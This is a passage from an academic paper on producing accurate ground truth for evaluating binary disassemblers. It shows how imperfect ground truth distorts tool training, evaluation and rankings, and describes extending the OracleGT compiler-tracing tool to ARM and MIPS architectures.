The major drawback of this approach is the need for cus-

tomizing the compiler, the assembler, and the linker. To sup-
port a new compiler or a new architecture, high domain knowl-
edge and heavy engineering efforts are required. In this regard,
the approach has limited extendibility.

4 Implications of Imperfect Ground Truth

The existing approaches to obtaining disassembly ground
truth have varying properties. In this section, we seek to shed
light on how the properties affect the applications of those
approaches. In particular, we focus on precision and recall.
Generality and extendibility also matter but their impact is
unanimously on whether the approach can be used or not.

To support the understanding, we consider the approach by
tracing the compiling process as the oracle approach and use
its results as the “golden” ground truth. Specifically, we patch
the tool developed by Pang et al. [26] to mitigate the recall
issues discussed above and run the patched tool to collect
the ground truth for instructions, function starts, and jump
tables. Technical details of our patch are shortly presented
in section 6. We also recompile the benchmarks presented
at https://github.com/junxzm1990/x86-sok to work as
the target binaries. Following the setup of [26], all target
binaries are compiled to run on the x86/x64 architectures. We
omit other architectures because the related tools either only
support x86/x64 or the related results will be discussed in
subsection 6.4.

Table 2: Performance of BYTEWEIGHT trained with
ground truth produced by different approaches (Symbol in-
dicates using symbols as the ground truth of function starts
while Oracle indicates using the approach presented in [26].

Metric GT O0 O1 O2 O3 Os Of

Recall Symbol 99.52 96.94 98.01 98.38 96.00 98.39
Oracle 99.54 96.94 97.66 98.18 96.19 98.18

Precision Symbol 99.67 97.42 94.73 90.88 98.35 90.61
Oracle 99.69 97.89 99.21 99.37 98.46 99.39

F1-Score Symbol 99.59 97.17 96.34 94.48 97.18 94.33
Oracle 99.61 97.41 98.43 98.77 97.57 98.78

Impacts on Training Accuracy. Disassemblers based on data
mining or machine learning need ground truth knowledge
when training the classification models. Intuition suggests
that fidelity of the ground truth can affect the model accuracy.
To this end, we perform a study on BYTEWEIGHT [10],
a data mining based approach to detecting function starts.
We train BYTEWEIGHT twice, respectively using ground
truth obtained from symbols and produced by the oracle ap-
proach [26]. Symbols, instead of other approaches, are con-
sidered as the baseline to align with the setting of the original
evaluation on BYTEWEIGHT [10]. Both BYTEWEIGHT
models are then tested using the ground truth offered by the
oracle approach to understand their precision, recall, and accu-
racy (F1-score: 2∗Precision∗Recall

Precision+Recall ). All the training and testing
are based on coreutils-8.30 compiled with GCC-8.1 (no
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overlap between the training dataset and the testing dataset).
To diversify the evaluation, common optimization levels (O0,
O1, O2, O3, Os, Ofast) are all considered.

Table 2 summarizes the evaluation results. Evidently, the
choice of ground truth has an impact on the model accu-
racy, regardless of the optimization level. Specifically, models
trained with the golden ground truth present a consistently
higher accuracy. At higher optimization levels (O3 and Of),
the accuracy difference can exceed 4%. These results are an-
ticipated considering that symbols carry many false function
starts introduced by non-contiguous functions.

Table 3: Performance of XDA on instruction recovery trained
with ground truth produced by different approaches (Debug in-
dicates using the debug information based approach proposed
in [5] while Oracle indicates using the approach presented
in [26] (with our patch presented in subsection 6.2).

Metric GT O0 O1 O2 O3 Os Of

Recall Debug 91.47 91.82 91.91 91.66 92.61 91.38
Oracle 96.76 95.37 95.38 95.11 95.13 94.89

Precision Debug 99.21 98.92 98.84 99.24 96.05 99.29
Oracle 99.26 98.96 98.89 99.27 95.07 99.31

F1-Score Debug 95.18 95.23 95.25 95.30 94.30 95.17
Oracle 97.99 97.13 97.10 97.14 95.15 97.05

We further extend the experiment on running XDA [28],
a transfer learning based disassembler, for instruction re-
covery. In this experiment, two non-overlapped subsets
of coreutils-8.30 and findutils-4.4 are respectively
picked for training and testing. We further use two different
ground truth approaches, the oracle approach [26] and the
debug information based approach [5], to label the training
data. In contrast, the testing data is unanimously labeled using
the oracle approach. The experiment results are summarized
in Table 3. Again, the ground truth approach has an observable
impact on XDA. In particular, the recall of XDA can drop by
4% when using an improper approach of ground truth.

Finding #1: The fidelity of ground truth affects the util-
ity of disassembly tools built with data mining or ma-
chine learning. Highly accurate ground truth is desired.

Impacts on Tool Evaluation. The testing of disassembly
tools, which is highly critical to their evolvement, greatly
depend on ground truth knowledge. The recall and precision
of the ground truth can both affect the evaluation. In particular,
incomplete or inaccurate ground truth can provide distorted
evidence towards unreliable conclusions. We elaborate on
three such cases in the following.

Case 1: Meng et al. [22] leverage manual analysis to col-
lect ground truth to measure their tool, DYNINST, in identify-
ing complex constructs. As we pointed out before, they only
covered a small set of the ground truth (10-20 instances of
each construct) due to the heavy burden. Using this set of
ground truth, they obtained the observation that DYNINST

Table 4: Performance of DYNINST on identifying complex
constructs under different approaches to extracting the ground
truth. Manual indicates the ground truth is manually collected
from the testsuite presented in [22]. Oracle indicates the
ground truth from the testsuite presented by [26]. Embedded
means data embedded in code, which is only evaluated on
binaries that contain data-in-code.

Metric GT Embeded JMPTBL Tail Call

Recall Manual 100.0 100.0 100.0
Oracle 89.55 98.61 71.7

Precision Manual 100.0 100.0 100.0
Oracle 99.35 99.83 67.39

F1-Score Manual 100.0 100.0 100.0
Oracle 94.19 99.21 69.48

achieves full recall and full precision. We extended the bench-
mark to include all the x86/x64 binaries presented in [26]
and run the oracle approach (with our patch) to gather the
ground truth of three complex constructs aligned with our
target disassembly tasks (data embedded in code, jump tables,
and tail calls2). Table 4 presents the evaluation results using
our extended benchmark. Evidently, DYNINST may not pro-
vide perfect recall and precision, invalidating the observation
presented in [22]. This case demonstrates that incomplete
ground truth can lead to biased claims and conclusions.

Table 5: Performance of ZAFL on instruction recovery.
Objdump-Sym indicates we run OBJDUMP on binaries with
symbols for the ground truth while Objdump means we run
OBJDUMP on stripped binaries. Oracle shows the results of
using the approach presented in [26] to get the ground truth.

Metric GT O0 O2 O3 Os Of

# of FP
Objdump-Sym 0 3 3 135 134

Objdump 0 3 3 135 134
Oracle 0 17 40 203 189

# of FN
Objdump-Sym 628.8K 754.5K 733.4K 354.6K 860.8K

Objdump 683.8K 819.4K 797.8K 408.4K 928.2K
Oracle 83.4K 84.1K 84.2K 145.7K 145.1K

Case 2: Nagy et al. [23] consider the results of OBJDUMP
as the baseline to measure their ZAFL tool in recovering
instructions. They observed that ZAFL incurs zero false
positives on both closed-source and open-source binaries.
They also reported that ZAFL misses no instructions that 24-
hour fuzzing can reach. We reproduced the evaluation with
three approaches to generate the ground truth: (i) OBJDUMP
with symbols available in the target binaries; (ii) OBJDUMP
with stripped binaries; and (iii) the oracle approach with our
patch. We also used the x86/x64 benchmarks developed by
Pang et al. [26] except for those compiled by Clang for 32-bit
machines3. The evaluation results are presented in Table 5.

2Identification of tail calls can be trivially done when the results of instruc-
tions, functions, and jump tables are available

3ZAFL relies on the information carried in .eh_frame to determine the
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Not surprisingly, the ground truth approach affects the obser-
vations. Using the oracle approach, we observe more false
positives in most cases. This indicates ZAFL may make more
mistakes than it was believed to. On the other hand, ZAFL
seems to produce much fewer false negatives than what the
OBJDUMP-based measurement shows. It is worth mentioning
that the false negatives we observe do not conflict with the
conclusions in [23], as we do not measure how many of the
false negatives can be reached by fuzzing in 24 hours.

O0 O2 O3 Os Of
Optimization Level
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85.0
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Figure 2: Distribution of precision of IDA PRO on detecting
jump tables in the x86/x64 binaries presented in [26].

Case 3: Kinder et al. [18] consider the results of IDA
PRO as the baseline for evaluating their JAKSTAB tool in
detecting jump table related constructs. A key observation
they obtained is that JAKSTAB produces nearly zero false
positives. We hoped to re-evaluate JAKSTAB using ground
truth produced by different approaches. However, JAKSTAB
cannot run modern benchmark binaries due to a parsing er-
ror (https://github.com/jkinder/jakstab/issues/9),
which was also observed by Pang et al. [26].

Alternatively, we chose to measure the precision of IDA
PRO in detecting jump tables, considering the ground truth
produced by the oracle approach as the baseline. In the mea-
surement, the benchmark consists of all x86/x64 binaries pre-
sented in [26]. Figure 2 shows the distribution of the precision
of IDA PRO on different binaries. In a nutshell, IDA PRO is
not perfectly precise. It makes many mistakes, in particular at
the higher optimization levels. We envision this imprecision
in the ground truth used by Kinder et al. may pose a risk on
their observations and understandings of JAKSTAB. However,
we cannot directly confirm this as we did not run JAKSTAB.

Finding #2: The use of incomplete or imprecise ground
truth can lead to misleading observations and conclu-
sions about the disassembly tools, which can impede
their future development.

ranges of disassembly. However, the 32-bit binaries produced by Clang do
not contain .eh_frame.

Impacts on Tool Comparison. In recent years, there have
been a series of studies on comparing different disassembly
tools [5, 17, 26]. This is another scenario where ground truth
information is indispensable. A common goal of the studies is
to rank the tools based on their performance. Hypothetically,
the ranking can vary when different ground truth approaches
are used.

We perform an empirical study to experiment on the hy-
pothesis. A challenge of the study is the selection of bench-
mark binaries. Many benchmarks only contain easy constructs
of the ground truth, which can be perfectly identified by ev-
ery ground truth approach. Using those benchmarks makes
little sense for our study. To address this issue, we revis-
ited the benchmarks presented in [26] and finally picked
Openssl-1.1.0l. The primary reason is Openssl-1.1.0l
carries plenty of complex constructs (e.g., handwritten as-
sembly and data in codes), which the existing ground truth
approaches cannot handle well.

We compiled Openssl-1.1.0l with GCC-8.1 into
x86/x64 binaries under different optimization levels (O0, O1,
O2, O3, Os, and Ofast). We focus on x86/x64 architectures
because the original evaluation of many mainstream disas-
semblers consider this architecture [5,21,26,28]. Utilizing the
binaries, we measure the accuracy (F-1 score) of 8 popular
disassemblers on recovering instructions three times, respec-
tively using ground truth produced by OBJDUMP with sym-
bols, the debug information based approach proposed in [5],
and the compiler-tracing approach proposed in [26] (after ap-
plying our patch presented in section 6). Figure 3 summarizes
the results averaged on the optimization levels.

Evidently, the disassemblers present "varying" accuracy
when the approach to obtaining the ground truth changes. This
accuracy difference can often lead to variation of the rankings.
Consider the comparison between IDA PRO and BINARY
NINJA, the two state-of-the-art commercial disassemblers, as
an example. BINARY NINJA outperforms IDA PRO when
measured using the less accurate ground truth (objdump).
However, the result flips when we switch to the oracle ground
truth, despite the margin is small.

Finding #3: Different ground truth approaches “affect”
the performance of disassembly tools. When used in
evaluation studies, the ground truth approaches can make
the rankings deviate from the reality.

5 Discussion: What Do We Need Today?

The previous sections bring us a better view of the existing
approaches to generating ground truth for disassembly, in-
cluding their mechanisms, properties, and implications. A
key, follow-up question is what approaches we need today.

Recall and Precision. We argue that the most important cri-
terion of selecting ground truth approaches shall be recall and
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Figure 3: Accuracy (F-1 score) of popular disassemblers
on recovering instructions, measured using different ground
truth approaches (oracle indicates the compiler tracing ap-
proach presented in [26], objdump means using objdump with
symbols, and debug info represents the debug information
based approach proposed in [5]).

precision. On the one hand, recall and precision are scientific
standards of ground truth in general. In other domains and
scenarios, ground truth is expected to be complete and precise.
On the other hand, our studies presented in section 4 unveil
various scenarios where incomplete or imprecise ground truth
leads to biased observations and improper conclusions.

Among the existing approaches to building the ground
truth, manual analysis and reusing existing disassemblers lack
necessary mechanisms to ensure recall or precision. Lever-
aging compilation metadata inherits the knowledge from the
compiler, which seems to be more promising. However, the
knowledge is often not exactly the ground truth. Conversions
from the knowledge to the needed ground truth can introduce
errors or miss cases. In this regard, leveraging compilation
metadata also has an insufficient guarantee of recall and pre-
cision.

In contract, the remaining two approaches, exploiting inter-
mediate compiler outputs and tracing the compiling process
are better grounded. Their inputs are ground truth directly out-
put by the compiler. Thus, they are guaranteed by the compiler
to present complete and accurate results except for the few
cases where the compiler has insufficient knowledge. From
this perspective, we conclude that the two approaches are
more desired today.

Generality and Extendibility. Modern disassemblers are
being extended to support various disassembly tasks on all
kinds of binaries. This indicates that, besides recall and preci-
sion, it is also important to have ground truth approaches that
are general and extendable. Regarding generality, tracing the
compiling process is much better than using the intermediate
compiler outputs, considering that it can capture anything
the compiler knows about without restrictions from the exist-
ing implementation of the compiler. Extendibility wise, the
two approaches are similarly restricted. To extend support

Function
Basic Block 1

Basic Block 2

…

Basic Block n

Basic Block

Instructions

Alignments

jmp *0xaa(,%rdx,8)

Jump Table
0xaa:
Table Entry 1

Table Entry 2

Table Entry 3
…

Table Entry n

Figure 4: Metadata used by ORACLEGT to track the ground
truth of instructions, functions, and jump tables. Function
represents a function, which consists of a set of Basic
Blocks. Each basic block has two regions, the instructions
and alignment bytes (if any). A basic block also has a field
indicating whether it can fall through. An indirect jump that
encodes a Jump Table is also marked with the list of targets.

for other compilers or architectures, both approaches need to
extend the compilation toolchain.

Conclusion. Overall, tracing the compiling process is the
approach that can best satisfy today’s need. However, the
only tool [26] supporting this approach still has two major
limitations. First, the tool is not providing results with perfect
recall, despite it shall never make mistakes. It cannot cover
the ground truth that the compiler cannot recognize, including
the aforementioned code encoded as data, functions without
a proper label, and handwritten jump tables. It can also miss
ground truth that needs more fine-grained tracing, such as the
overlapped instructions. Second, the tool currently can only
support x64/x86 binaries. It urgently needs an extension to
support other architectures, in particular those gaining more
popularity nowadays (e.g., ARM and MIPS).

6 Towards Better Ground Truth

Inspired by our discussion above, we further aim to extend
the tool presented in [26] to provide better ground truth for
binary disassembly. For simplicity of presentation, we will
call the tool ORACLEGT. In the rest of this section, we first
introduce the technical background of ORACLEGT and then
explain our improvements and extensions. Finally, we present
an application of the extended ORACLEGT to show its bene-
fits.

6.1 Background

ORACLEGT supports both GCC and Clang for x86/x64 bi-
naries. Considering the internal mechanisms for both GCC
and Clang are highly similar, we hereby use GCC as the ex-
ample to explain how ORACLEGT works. At the high level
idea, ORACLEGT instruments the GCC front-end, the GAS
assembler, and the gold linker to insert metadata structured
as Figure 4 to the outputs at different compilation stages.
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1 .bbInfo_FUNB
2 .bbInfo_BB
3 pushq %r15
4 subq $8, %rsp
5 xorl %edi, %edi
6 ...
7 call as_fatal
8 .bbInfo_BE 0
9 .bbInfo_FUNE

1 cmpl $10, %r8d
2 ja .L1021
3 mov rax, .L1001(,%r8,8)
4 jmp ∗rax
5
6 .bbInfo_JMPTBL 11 8
7 .L1001
8 .quad .L1003
9 ...

Listing 8: An example of assembly code with directives
inserted by ORACLEGT. In the left part (i) .bbInfo_FUNB
and .bbInfo_FUNE label the range of a function; (ii)
.bbInfo_BB and .bbInfo_BE label the range of a ba-
sic block; (iii) 0 after .bbInfo_BE means the current
basic block does not fall through. In the right part,
.bbInfo_JMPTBL indicates that the data below represents
a jump table, and the follow-up 11 and 8 mean the jump
table as 11 entries with every entry of 8 bytes.

Compiling. When GCC front-end finishes the final RTL
pass [2], it will output the assembly code to be processed
by the assembler. In this step, GCC controls the locations
of functions, basic blocks, and instructions. Intercepting the
process, ORACLEGT inserts extra directives to label the three
constructs. To better illustrate the idea, we show an example
in Listing 8. One thing worth mentioning is that every func-
tion in the assembly file is contiguous. The later processing
by the assembler may split a function into different regions.

Assembling. When the assembly file is fed into the GAS
assembler, ORACLEGT intercepts the assembly process to
transfer the inserted directives into another form of metadata.

• Functions: When encountering a .bbinfo_FUNB directive
during assembly, ORACLEGT initializes a FUNC structure
and records the offset from the function start to the current
fragment (the basic unit that assemblers use to store con-
tiguous code or data). When a follow-up .bbInfo_FUNE is
met, ORACLEGT marks the end of the current function in
the FUNC structure.

• Basic Blocks: When a .bbInfo_BB directive is reached
between a .bbinfo_FUNB and a .bbInfo_FUNE, ORA-
CLEGT creates a BBL structure to record the offset from the
current basic block to the current fragment. When the cor-
responding .bbInfo_BE appears, ORACLEGT will record
whether the basic block falls through in the BBL structure. If
the basic block contains an alignment region, ORACLEGT
will further record the location and size of the alignment.
The BBL structure, when completed, will be appended to
the current function.

• Instructions: When an instruction is assembled, ORA-
CLEGT gets its size and updates the size information in
the BBL structure of the current basic block.

• Jump Tables: When a .bbInfo_JMPTBL directive is seen,

ORACLEGT creates a JMPTBL structure to track the location
of the jump table (the offset from the jump table to the
current fragment), the number of entries, and the size of each
entry. Further, ORACLEGT records the reference(s) to the
jump table. For instance, in the example shown as Listing 8,
ORACLEGT will record the reference to the jump table
at line 3 (.L1001). Note that no extra efforts are needed
to gather the references as ORACLEGT internally collects
them from the assembler.

At the end of assembling a file, the assembler will finalize
the location of each fragment in the object file. At this point,
ORACLEGT updates the FUNC, BBL, and JMPTBL structures
to replace the offset to the current fragment with the offset
to the object file. All the structures are then organized as an
.gtinfo section in the object file.

Linking. In this stage, the linker merges different object files
to generate the final binary. ORACLEGT instruments this link-
ing process to finalize the addresses of functions, basic blocks,
jump tables encoded in the FUNC, BBL, and JMPTBL structures.
It also merges the .gtinfo section from all object files into
a single .gtinfo section in the binary. Alignments inserted
by the assembler between object files are also recorded into
the .gtinfo section.

Extracting. Based on the metadata stored in the .gtinfo
section, ORACLEGT extracts the ground truth information.
Specifically, function and basic block information can be eas-
ily obtained by reading the FUNC and BBL structures. Given
the range of a basic block, ORACLEGT runs linear disassem-
bly in the code region to collect the instructions. ORACLEGT
also records alignment information. This way, when disas-
sembly identifies a instruction inside an alignment region,
ORACLEGT can mark it as a “harmless” false positive.

The extraction of jump tables is a bit more complex. Based
on the metadata, we only know the location and size of each
jump table and the instruction(s) referencing the jump table.
There is no direct information about which indirect jump uses
the jump table. To pinpoint the indirect jump, ORACLEGT
runs forward taint analysis to track the propagation of the
reference to the jump table until an indirect jump. Consider
Listing 8 as an example. ORACLEGT will track the reference
to .L1001 at line 3 all the way to the indirect jump at line 4.
The details of our taint analysis are presented in algorithm 1.

6.2 Improvements
Our major improvement is a post-compilation analysis to
identify three sets of missing ground truth.

Instructions Encoded as Data. As demonstrated in List-
ing 3, the developers can encode instructions as data, which
shall mislead the compiler. We extend ORACLEGT to iden-
tify those instructions. Basically, we reconstruct the control
flows of each function reported by ORACLEGT and collect
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direct control transfers to regions that are considered data by
the compiler. On identifying such a control transfer, we run
recursive disassembly from the target location to gather the
missing instructions. To ensure correctness, our disassembly
is conservative. In particular, we skip all indirect control trans-
fers whose targets remain unknown and we assume a function
does not return if we are unsure.

Applying our extension to the x86/x64 benchmark pre-
sented in [26], we observed 1,378 data regions embedded in
code and 1,356 of them are actually instructions. We manu-
ally examined the remaining data regions and believe none of
them carries instructions.

Overlapped Instructions and Missed Functions. Native
ORACLEGT can not mark overlapped instructions (Listing 4)
and functions without a proper label (Listing 5). We use the
same approach to handle both cases. Checking the targets
direct jumps and jump tables reported by ORACLEGT, we
verify whether the targets point to the middle of other in-
structions. If so, we consider them overlapped instructions.
Similarly, we identify direct calls whose targets do not point
to a known function and consider those targets previously
missed function starts. Running the extension on the above
benchmark, ORACLEGT discovers 2,108 more overlapped
instructions and 76 missed functions.

Handwritten Jump Tables. Developers may also manually
create jump tables in handwritten assembly files. No standard
labels are available to notate such jump tables and thus, the
compiler cannot recognize them. We propose a new method
to identify handwritten jump tables based on three insights.
First, the targets of such a jump table should have data-to-code
(d2c) references that are contiguously arranged in the data
region. Second, the assembly code should contain a code-to-
data (c2d) reference to the base address the jump table. Third,
the base address should propagate to an indirect jump. Below
elaborates on the specifics of our method.

• Step-1: We enumerate all the available d2c references to
pinpoint the contiguous ones pointing to the same function
in handwritten assembly. All the d2c references are natively
gathered by ORACLEGT from the compiler, which requires
no extra operations. We consider those d2c references po-
tential jump table targets.

• Step-2: We visit the c2d references and identify those point-
ing to a d2c reference collected in Step-1. Each of the c2d
references is considered the base address of a jump table.

• Step-3: We run forward taint analysis from each c2d ref-
erence determined at Step-2 and validate whether it prop-
agates to the target of an indirect jump. If that happens,
we consider the c2d reference points to a real jump table
enforced at the indirect jump.

Using the above method on the benchmarks presented in [26]
again, we collected 1,882 jump tables missed by ORACLEGT.

6.3 Extending
Besides improving the recall of ORACLEGT, we further ex-
tended its support on both GCC/Clang for other popular archi-
tectures, including ARM32, AArch64, MIPS32 and MIPS64.
To realize the extension, we do not need to change the com-
piler front-end and the linker since ORACLEGT’s operations
at the two stages are architecture-independent. The major
work is to adapt the modules to assemble ARM32 / AArch64
/ MIPS32 / MIPS64 code in the GCC GAS assembler and
the Clang integrated assembler. The adaptation is mostly
straightforward by following the procedure described in sub-
section 6.1. Below we discuss some details worth mentioning.

Adding Type Information of Basic Block. ARM32 includes
two execution modes, ARM mode and Thumb mode [7]. The
encoding of instructions are different under the two modes.
Thereby the detection of execution mode is a critical task
for ARM disassemblers. To support evaluation of this task,
we extend ORACLEGT to add an extra directive to mark the
execution mode of ARM32 basic blocks. Knowledge of the
execution mode can be easily obtained by querying the GCC
GAS assembler or the Clang integrated assembler.

1 cmp $0x57,%rdx
2 ja .Ldefault
3 jmpq ∗.LJMPTBL(,%rdx,8)
4 ...
5 .LJMPTBL:
6 entry 1
7 ...
8 entry n1

1 cmp r5, #3
2 ldrls pc, [pc,r5,lsl #2]
3 b .Ldefault
4 .LJMPTBL
5 entry 1
6 entry 2
7 ...
8 entry n2

Listing 9: Examples of explicit reference and implicit ref-
erence to jump tables. The left shows a x64 example which
contains an explicit reference to the jump table (line 3).
The right part is an example of ARM32, there is no ex-
plicit reference to the jump table. Instead, the reference
to jump table is held by pc in [pc, r5, lsl #2](line 2)
implicitly.

Detecting Implicit References to Jump Tables. As pointed
out in subsection 6.1, ORACLEGT relies on explicit refer-
ences to a jump table to locate the corresponding indirect
jump. However, a jump table may not always be explicitly
referenced in ARM binaries (i.e., the references may not be
recognized by the compiler). The right part of Listing 9 shows
one such example. To handle such cases, we design a method
as follows. Given a jump table without explicit references, we
visit the use of the pc register in the assembly code placed
before the jump table and inspect whether the pc register is
an implicit reference to jump table. If so, we create a dummy
reference to mark the implicit reference.

Taint Analysis Across Memory. When extracting the ground
truth of jump tables, ORACLEGT runs taint analysis to track
the propagation of the reference(s) to the jump table. On
x86/x64 binaries, it is sufficient to only track the registers.
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However, on ARM/MIPS binaries, the referenced value can
propagate through the stack. Thus, we extend the taint analysis
in ORACLEGT by adding the supports of taint propagation
among stack memories.
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Figure 5: Accuracy (F-1 score) of popular disassemblers on
recovering jump tables from glibc, measured using the orig-
inal ORACLEGT and our improved ORACLEGT.

Discussion. To illustrate the benefits of our improvement to
ORACLEGT, we perform a small case study. Specifically, we
measure the accuracy of six popular disassemblers on recov-
ering jump tables from glibc, separately using the original
ORACLEGT and our improved ORACLEGT for ground truth.
We focus on jump tables and glibc as the impact of our im-
provement in this setup is more evident. Figure 5 shows the
evaluation results. The key observation is that our improve-
ment to ORACLEGT meaningfully helps understand the true
accuracy of existing disassembly tools.

While our improvement is beneficial, it is still not perfect.
All our improvement strategies are designed to be conser-
vative, which are error-free and maintain the correctness of
ORACLEGT. However, the strategies, when coupled with OR-
ACLEGT, can still miss cases, which we discuss as follows.

• Instructions: Given functions that (i) cannot be recognized
by the compiler and (ii) are not directly called by any other
recovered functions, we cannot realize their existence. Thus,
we will miss their instructions. In addition, we will miss
instructions that can only be reached by the fall-through
edge of a function call whose return status is unknown. This
is because we conservatively assume a function does not
return unless we know for sure.

• Functions: As described above, we cannot identify func-
tions that (i) cannot be recognized by the compiler and (ii)
are not directly called by any other recovered functions.

• Jump Tables: We perform taint analysis to pinpoint the
indirect jump pertaining to each jump table. Inspired by em-
pirical observations, we only track taints propagated across
stack memory and registers. In theory, we can under-taint a
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Figure 6: Recall and precision of mainstream disassemblers
on binaries with different architectures.

target that propagates through non-stack memory and thus,
miss the corresponding jump table.

6.4 Application
Leveraging our extensions, we rebuild the testsuites presented
in [26] with both GCC-8.1 and Clang/LLVM-6.0 to run on
ARM32 (with ARM and Thumb mode), AArch64, MIPS32
and MIPS64 architectures. For every program, we build it
with various optimization levels (O2, O3, Os, Ofast), which
finally generates a testsuite with 6,328 binaries. Based on
the testsuite, we re-evaluate OBJDUMP-2.30 [14], GHIDRA-
9.04 [24], ANGR-8.19.5.25 [9], RADARE2-4.4.0 [30], IDA
PRO-7.4 and BINARY NINJA-1.2 with all binaries stripped.
Figure 6 shows the average results of instruction recover,
function start detection, and jump table reconstruction by
different disassembly tools. The actual numbers are presented
in Table 7 in the Appendix. According to the evaluation,
we summarize three observations that were previously less-
known.

The performance of modern disassemblers vary across
architectures. As shown in Figure 6, modern disassemblers
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present very inconsistent performance when applied to bi-
naries running on different architectures. Overall, they all
present high recall and precision on x86/x64 targets, regard-
less of the disassembly tasks. We envision two major reasons
leading to this phenomenon. On the one hand, disassemblers
are mostly created to work on x86/x64 binaries. They have
received longer and broader improvement to handle x86/x64
binaries. On the other hand, benchmarks and ground truth ap-
proaches to evaluate disassembly are better ready for x86/x64
binaries [5, 26], greatly benefit the evolving cycle.

ARM32 poses a bigger challenge than AArch64 to modern
disassemblers. Many disassemblers show limitations when
handling ARM32 binaries, in particular the code running in
the Thumb mode. This has been similarly unveiled by a recent
study et al. [17]. However, no research has been conducted to
run a comparison between ARM32 and AArch64 like what we
show in Figure 6. In most of the cases, disassemblers perform
significantly better on AArch64 binaries than on ARM32
binaries. While this is not surprising considering that ARM32
uses the mixed modes of ARM and Thumb, our evaluation
brings quantitative evidence to back the observation.

1 410980 <quotearg_buffer>:
2 ...
3 ; initialize gp
4 ; at = 0x2 << 16
5 lui at,0x2
6 daddu at,at,t9
7 daddiu gp,at,30512
8 ...

1 ; load base of jmptbl
2 ld v1,−32720(gp)
3 ...
4 daddu at,at,v1
5 ; load entry of jmptbl
6 ld at,−16952(at)
7 daddu at,at,gp
8 jr at

Listing 10: Examples of jump table in coreutils-8.30
compiled by Clang-6.0 for MIPS. The right part is an
example which calculates the target of indirect jumps de-
pending on the value of gp. The left part shows that gp is
initialized at the beginning of the function. Its calculation
is explained as follows: When calling a function, t9 stores
the address of the called function. Thus at the beginning
of a function, t9 holds the address of current function. In
this example, the value of t9 is 0x410980. In order to
calculate the value of gp, disassembler should recover the
correct address of function.

Commercial disassemblers are less effective with handling
MIPS binaries. Commercial disassemblers, like IDA PRO
and BINARY NINJA, are widely believed to be very pow-
erful in dealing with modern binaries. This is very true on
x86/x64 binaries. However, opposite observations arise when
we switch them to handle MIPS binaries. Both IDA PRO
and BINARY NINJA present massively reduced utilities when
disassembling MIPS binaries. In particular, when recovering
jump tables, the precision and recall of IDA PRO drop to
81.39% and 51.98%. BINARY NINJA has a higher precision
(91.52%) but its recall is also only 56.56%.

Motivated to understand why the commercial tools have a
downgrade in performance, we manually inspected a set of

jump tables missed by both IDA PRO and BINARY NINJA.
We found that the calculation of jump table targets relies
on the value of register gp4 as shown in Listing 10. And
the value of gp is calculated at the beginning of a function
based on the address of the current function. However, both
IDA PRO and BINARY NINJA miss plenty of function starts
on MIPS binaries, indirectly causing the low recall of jump
tables.

7 Related works

Generating Ground Truth for Binary Disassembly. As an
essential step toward many binary analysis techniques, collect-
ing ground truth for binary disassembly has attracted increas-
ing attention. One line of researches [5, 6, 10, 17, 28, 29, 35]
follow a so-called standard strategy which uses address em-
bedded in symbols as the ground truth. However, as discussed
in §3, ground truth relying on symbols is nether accurate
nor complete. In comparison, Meng et al. [22] manually col-
lected ground truth for a small set of instructions, functions,
and control flows. This approach can achieve extremely high
precision but is less popular due to the scalability limitation.
Meanwhile, another line of researches [18,23] rely on ground
truth generated by the existing disassemblers. For instance,
Nagy et al. [23] leverage disassembling result from OBJ-
DUMP as the baseline while Kinder et al. [18] directly reuse
the jump tables detected by IDA Pro. Unfortunately, as shown
in Pang et al. [26], none of the existing disassembler does
perfect on various binary challenges, which leads to the fact
completely trust disassemblers has more disadvantages than
benefits.

On the other hand, more compelling and reliable ap-
proaches generating ground truth relies on either the interme-
diate compiler outputs or compilation metadata. For instance,
David et al. [34] dump the intermediate representation of
GCC and extract the rough data of jump tables, but they could
not map the information to the final executable files. [5, 28]
generate ground truth by performing conservatively linear
sweeping between continuous regions based on debug line
information. Failing to take unreachable alignment code into
consideration, Andriesse et al. ’s approach [5] still misses
about 2% instructions. In contrast, Li et al. [21] leverage
the listing files produced by GNU Assembler to extract the
ground truth, but they struggle on mapping the instructions
into final executable files. As the most closely related work
to ours, Pang et al. [26] collect the ground truth by tracing
compilation process, which guarantees high precision and
recall. As a work in a later position, we not only extend the
tracing compilation process approach to more architectures
but also fix corner cases missed by Pang et al. [26].

Discussion on Ground Truth for Binary Disassembly. A

4gp is used as a global pointer pointing to the midst region of 64K static
data [1], which is initialized at runtime.
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recent study by Alves-Foss et al. [4] discusses challenges in
defining and identifying ground truth for binary disassembly.
The study further lists some common approaches to gener-
ating the ground truth and showcases issues related to those
approaches. Our paper can be viewed as the next step of this
study. We present a systematic taxonomy and comparison of
the existing approaches, unveil the implications behind the
imperfection of those approaches, pinpoint the more appropri-
ate approach, and shed light on building trustworthy ground
truth for binary disassembly.

Evaluation of Binary Disassembly. Binary disassembly
is a critical task for binary analysis. Recently, many re-
searches [5,10,17,21,26,32] have made great effort on binary
disassembly evaluations. Jinag et al. [17] built testsuite on
Arm32 and evaluate the performance of disassemblers on in-
structions recovery. Li et al. [21] evaluate the performance
of instructions recovery among different disassemblers on
x86/x64. [5, 26] build large scale testsuite on x86/x64 to
evaluate the performance of disassemblers on instructions,
function start and jump tables recovery. [6, 10, 32] evaluate
function starts identifications on x86/x64. All above men-
tioned papers mainly focus on evaluating binary disassembly
within a specific architecture. As a compensation, our paper
concentrates on improving the ground truth used by binary
disassembly on all popular architectures.

8 Conclusion

This paper concerns the approaches to generating ground
truth for binary disassembly. We bring a taxonomy of the
approaches used by past research, unveiling the mechanisms
behind the approaches. Throughout a systematic comparison
of the mechanisms, we present a deep understanding of the
mechanisms regarding the key properties (recall, precision,
generality, and extendibility) that affect their applications. In
a follow-up empirical evaluation, we further validate that de-
fects in those properties can significantly hurt the applications
and even lead to misleading conclusions. Finally, we identify
and rectify the limitations of the tool that carries the best
potential to meet those properties. This effort is expected to
benefit various use scenarios of disassembly ground truth. In
particular, we demonstrate that using this tool to re-evaluate
the mainstream disassemblers leads to many previously less-
known observations. We hope this piece of research can pro-
vide references and tools to standardize and unify the ground
truth in binary disassembly evaluation.
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A ORACLEGT v.s. Compilation Metadata

In this section, we present a comparison between ORACLEGT
and the approach present in [5] (which leverages debug in-
formation to extract ground truth for binary disassembly).
Specifically, we run ORACLEGT and [5] in their conservative
mode to collect the ground truth of instructions in the x86/x64
benchmarks presented in [26], and we compare the results
of both approaches. As ORACLEGT is ensured to be correct,
we consider every instruction identified by ORACLEGT but
missed by [5] as a false negative (FN) of [5]. We further
manually examined the instructions detected by [5] but not
covered by ORACLEGT. We confirmed all of them are false
positives (FPs) of [5]. As we can see in Table 6, [5] can incur
